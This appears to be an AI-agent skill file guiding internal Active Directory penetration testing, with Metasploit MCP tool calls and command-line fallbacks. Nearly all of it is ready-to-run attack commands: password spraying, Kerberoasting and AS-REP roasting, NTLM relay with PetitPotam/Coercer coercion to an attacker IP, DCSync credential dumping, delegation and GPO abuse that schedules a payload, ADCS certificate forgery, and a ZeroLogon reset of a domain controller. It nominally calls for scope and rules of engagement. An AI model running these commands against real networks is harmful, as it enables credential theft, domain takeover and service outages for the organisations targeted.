internal-ad-pentest

name	internal-ad-pentest
description	Guides Active Directory and internal network penetration testing for AD enumeration, Kerberos abuse, relay attacks, ADCS exploitation, lateral movement, domain dominance, and MSSQL attacks in domain environments.

Internal and AD Pentest

Prerequisites

• Confirm internal targets are in engagement ROE and scope CIDRs.
• Port/service discovery: load hacktricks-methodology.
• Cloud/DevOps from foothold: route to cloud-pentest or container-devops-pentest.

Phase model

Task Progress:
- [ ] Enumerate AD / internal network
- [ ] Credential access (spray, kerberos, relay, dumps)
- [ ] Privilege escalation (local then domain)
- [ ] Lateral movement and pivoting
- [ ] Domain dominance / data access
- [ ] Document and evidence

Phase 1: Enumeration

LDAP query

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/gather/ldap_query",
  engagement_id="<id>",
  options={"RHOSTS": "<dc>", "DOMAIN": "domain.local", "USERNAME": "[e-mail]", "PASSWORD": "password", "QUERY_FILTER": "(objectClass=user)", "QUERY_ATTRIBUTES": "sAMAccountName,memberOf"}
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ldap/ldap_login",
  engagement_id="<id>",
  options={"RHOSTS": "<dc>", "DOMAIN": "domain.local", "USERNAME": "user", "PASSWORD": "password"}
)

CLI fallback:

Get-DomainUser -Properties *
Get-DomainGroup -Properties *
Get-DomainComputer -Properties *
Get-DomainTrust

ldapsearch -x -H ldap://dc.domain.local -D "[e-mail]" -w pass -b "DC=domain,DC=local" "(objectClass=user)"
enum4linux -a dc.domain.local

BloodHound collection

MSF: No direct module; use CLI.

CLI fallback:

.\SharpHound.exe -c All -d domain.local

bloodhound-python -d domain.local -u user -p pass -gc dc.domain.local -c all
certipy find -u [e-mail] -p pass -dc dc.domain.local -bloodhound

Import JSON into BloodHound. Query: shortest path to Domain Admins, Kerberoastable users, AS-REP roastable, unconstrained delegation.

Share enumeration

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/smb/smb_enumshares",
  engagement_id="<id>",
  options={"RHOSTS": "10.10.10.0/24", "SMBUser": "user", "SMBPass": "password", "SMBDomain": "domain.local"}
)

CLI fallback:

crackmapexec smb 10.10.10.0/24 -u user -p pass --shares
smbmap -u user -p pass -d domain -H dc

Phase 2: Credential access

Password spray

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/smb/smb_login",
  engagement_id="<id>",
  options={"RHOSTS": "dc.domain.local", "SMBUser": "users.txt", "SMBPass": "Password123!", "SMBDomain": "domain.local", "STOP_ON_SUCCESS": true}
)

CLI fallback:

crackmapexec smb dc.domain.local -u users.txt -p 'Password123!' --continue-on-success
kerbrute passwordspray -d domain.local users.txt Password123!

Use lockout-aware timing: one password across many users per window.

Kerberos user enumeration

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/gather/kerberos_enumusers",
  engagement_id="<id>",
  options={"RHOSTS": "<dc>", "DOMAIN": "domain.local", "USER_FILE": "/tmp/users.txt"}
)
msf_run_auxiliary_module(
  module_name="auxiliary/admin/kerberos/kerberos_login",
  engagement_id="<id>",
  options={"RHOSTS": "<dc>", "DOMAIN": "domain.local", "USER": "user", "PASSWORD": "password"}
)

CLI fallback:

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='domain.local' <dc>
kerbrute userenum -d domain.local users.txt

AS-REP roasting

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/gather/kerberos_asrep",
  engagement_id="<id>",
  options={"RHOSTS": "<dc>", "DOMAIN": "domain.local", "USER_FILE": "/tmp/users.txt"}
)

CLI fallback:

impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -format hashcat

Crack with hashcat mode 18200.

Kerberoasting

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/gather/kerberos_kerberoast",
  engagement_id="<id>",
  options={"RHOSTS": "<dc>", "DOMAIN": "domain.local", "USER": "user", "PASSWORD": "password", "OUTPUT_FILE": "/tmp/hashes.txt"}
)

CLI fallback:

impacket-GetUserSPNs domain.local/user:pass -request -outputfile hashes.txt
Rubeus.exe kerberoast /outfile:hashes.txt

Crack TGS-REP with hashcat mode 13100.

NTLM relay

MSF: No direct NTLM relay module. Use msf_run_auxiliary_module with auxiliary/server/capture/smb for hash capture only.

msf_run_auxiliary_module(
  module_name="auxiliary/server/capture/smb",
  engagement_id="<id>",
  options={"JOHNPWFILE": "/tmp/relay.txt"}
)

CLI fallback:

impacket-ntlmrelayx -smb2support -t smb://target -c "whoami"
PetitPotam.py -d domain.local -u user -p pass <attacker_ip>
Coercer.py -u user -p pass -d domain.local -t <victim_dc> -l <attacker_ip>

DCSync

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/gather/credentials/domain_hashdump",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

impacket-secretsdump domain.local/admin:[e-mail] -just-dc-ntlm
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

Phase 3: Kerberos delegation abuse

Unconstrained delegation

MSF: No direct module; use CLI.

CLI fallback:

Rubeus.exe monitor /interval:5 /filteruser:ADMIN$
# Coerce auth, capture TGT, reuse with Rubeus ptt

Constrained delegation (S4U)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/admin/kerberos/get_ticket",
  engagement_id="<id>",
  options={"RHOSTS": "<dc>", "DOMAIN": "domain.local", "USER": "svc$", "PASSWORD": "password", "SPN": "cifs/target.domain.local", "IMPERSONATE": "administrator"}
)

CLI fallback:

impacket-getST -spn cifs/target.domain.local -impersonate administrator -dc-ip dc.domain.local domain.local/svc$:pass
Rubeus.exe s4u /user:svc$ /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/target.domain.local /ptt

RBCD

MSF: No direct module; use CLI.

CLI fallback:

impacket-rbcd -d domain.local -u user -p pass --delegate-from evil$ --delegate-to target$ --action write
impacket-getST -spn cifs/target.domain.local -impersonate administrator -dc-ip dc.domain.local domain.local/evil$:pass

Phase 4: GPO abuse

MSF: No direct module; use CLI.

CLI fallback:

Get-NetGPO | Get-ObjectAcl
Find-GPOComputerAdmin
# SharpGPOAbuse
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "SYSTEM" --Command "cmd.exe" --Arguments "/c C:\Windows\Temp\svc.exe" --GPOName "Vuln GPO" --Force

pyGPOAbuse.py -u user -p pass -d domain.local -g "VULN-GPO-GUID" -c "C:\Windows\Temp\svc.exe"

Requires write to GPO or GenericAll on GPO object.

Phase 5: ADCS

MSF: No direct ADCS ESC abuse module. Use msf_search_modules(query="adcs") to check for new modules.

CLI fallback:

certipy find -u [e-mail] -p pass -dc-ip dc.domain.local -vulnerable
certipy req -u [e-mail] -p pass -ca ca.domain.local -template VulnTemplate -upn [e-mail]
certipy auth -pfx administrator.pfx -dc-ip dc.domain.local

ESC	Condition	Impact
ESC1	Client-supplied SAN, low-priv enroll	Cert as any user
ESC8	HTTP enrollment + relay	NTLM relay to CA web
ESC4	Writable template ACL	Modify template to ESC1

Phase 6: Known CVE paths

ZeroLogon

MSF MCP (preferred):

msf_module_check(
  module_name="auxiliary/admin/dcerpc/cve_2020_1472_zerologon",
  engagement_id="<id>",
  module_type="auxiliary",
  options={"RHOSTS": "dc.domain.local", "NBNAME": "DC"}
)
msf_run_auxiliary_module(
  module_name="auxiliary/admin/dcerpc/cve_2020_1472_zerologon",
  engagement_id="<id>",
  options={"RHOSTS": "dc.domain.local", "NBNAME": "DC", "ACTION": "RESET"}
)

CLI fallback:

impacket-zerologon dc.domain.local dc$

Always msf_module_check before exploit modules.

OPSEC

Review spray/lockout policy before password attacks. Coerce and DCSync are high-noise. Prefer BloodHound pathing over blind spraying.

Related skills

Scenario	Skill
Cloud services from foothold	cloud-pentest
Docker/K8s/CI-CD	container-devops-pentest
Port/service discovery	hacktricks-methodology
Windows privesc on host	windows-pentest
Linux privesc/host	linux-pentest
Pivoting	pivoting-pentest
EDR evasion	red-team-evasion
LDAP directory attacks	ldap-pentest
MSSQL and database abuse	database-pentest
SMB share and relay prep	smb-pentest